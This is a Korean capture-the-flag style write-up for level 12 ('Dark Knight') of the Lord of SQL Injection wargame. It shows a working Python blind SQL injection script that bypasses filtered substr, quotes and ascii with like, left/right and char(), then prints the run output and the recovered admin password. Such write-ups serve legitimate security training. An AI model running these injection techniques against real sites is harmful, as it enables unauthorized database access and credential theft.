WarGame/Lord of SQL Injection

[LOSI] Lord of SQL Injection Level 12 - Dark Knight

그 이름도 무서운 다크 나이트이다.(오 ㅆ 멋진데??) 이번몬스터도 Blind SQL Injection을 이용해서 퇴치할 수 있다. Golem과 비슷한 방식이지만, 이번에는 우회하는 함수가 조금 다르다.

<출처 : 위키백과 https://ko.wikipedia.org/wiki/%EB%8B%A4%ED%81%AC_%EB%82%98%EC%9D%B4%ED%8A%B8 >


코드 

substr도 필터 되었고, 작은따옴표와 ascii함수까지 필터링되었다. 역시 우회할 방법을 찾아야 될 것 같은데, 이번엔 query1에 no라는 파라미터도 받아들이고 있다. 이를 이용해서 2K 2K 할 수 있을 것 같은 직감이 들지 않는가?

 


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=0b70ea1f
import string
from requests import get

if __name__ == "__main__" :
    
    url = ### DARK KNIGHT의 URL ###
    abc = string.digits+string.ascii_letters
    cookie = dict(PHPSESSID="### 자신의 PHPSESSID ###")
    length = 0
    password = ''

    print("### find length of password ###")

    while(True) :
        param = "?pw=1&&no=1 or length(pw) like("+str(length)+") and id like(char(97,100,109,105,110))"
        new_url = url+param
        rec = get(new_url,cookies=cookie)

        if(rec.text.find("Hello admin") >= 0 ) :
            print("find pw length : "+str(length))
            break

        print(str(length)+ " is wrong length")
        length += 1

    print("\n\n### find for pw ###")
    for i in range(1,length+1) :
        for a in abc :
            param = "?pw=1&&no=1%20or%20id%20like(char(97,100,109,105,110))%20and%20right(left(pw,"+str(i)+"),1)%20like%20%22"+a+"%22--%20;"
            new_url = url+param
            rec = get(new_url,cookies=cookie)
            
            if(rec.text.find("Hello admin") >= 0) :
                print("find "+str(i)+"'s pw : "+a)
                password += a
                break

    print("OK pw is : "+password)

등호는 like로, substr은 left와 right로 SUBSTR을 우회했으며 ASCII 우회를 위하여 DATABASE의 함수인 CHAR 함수가 사용되었다. (추가로 중간에 사용된 %22는 큰따옴표(")의 urlencode값이다. 작은따옴표의 필터로 사용되었다.)

* CHAR(args...) : 정수들을 아스키값으로 해석하여 문자열을 생성한다.

실행결과는 다음과 같다.

### find length of password ###
0 is wrong length
1 is wrong length
2 is wrong length
3 is wrong length
4 is wrong length
5 is wrong length
6 is wrong length
7 is wrong length
find pw length : 8


### find for pw ###
find 1's pw : 0
find 2's pw : b
find 3's pw : 7
find 4's pw : 0
find 5's pw : e
find 6's pw : a
find 7's pw : 1
find 8's pw : f
OK pw is : 0b70ea1f

축하한다.


여러분들은 지금까지 여러가지 우회방법을 배우고 있고, 또 배워 나갈 것이다. 반복적인 내용처럼 느껴질지 몰라도 새로운 우회방법을 배우는 것 자체를 즐겨주기를 바라며, 필자는 다음 몬스터 앞에서 여러분들을 기다리겠다.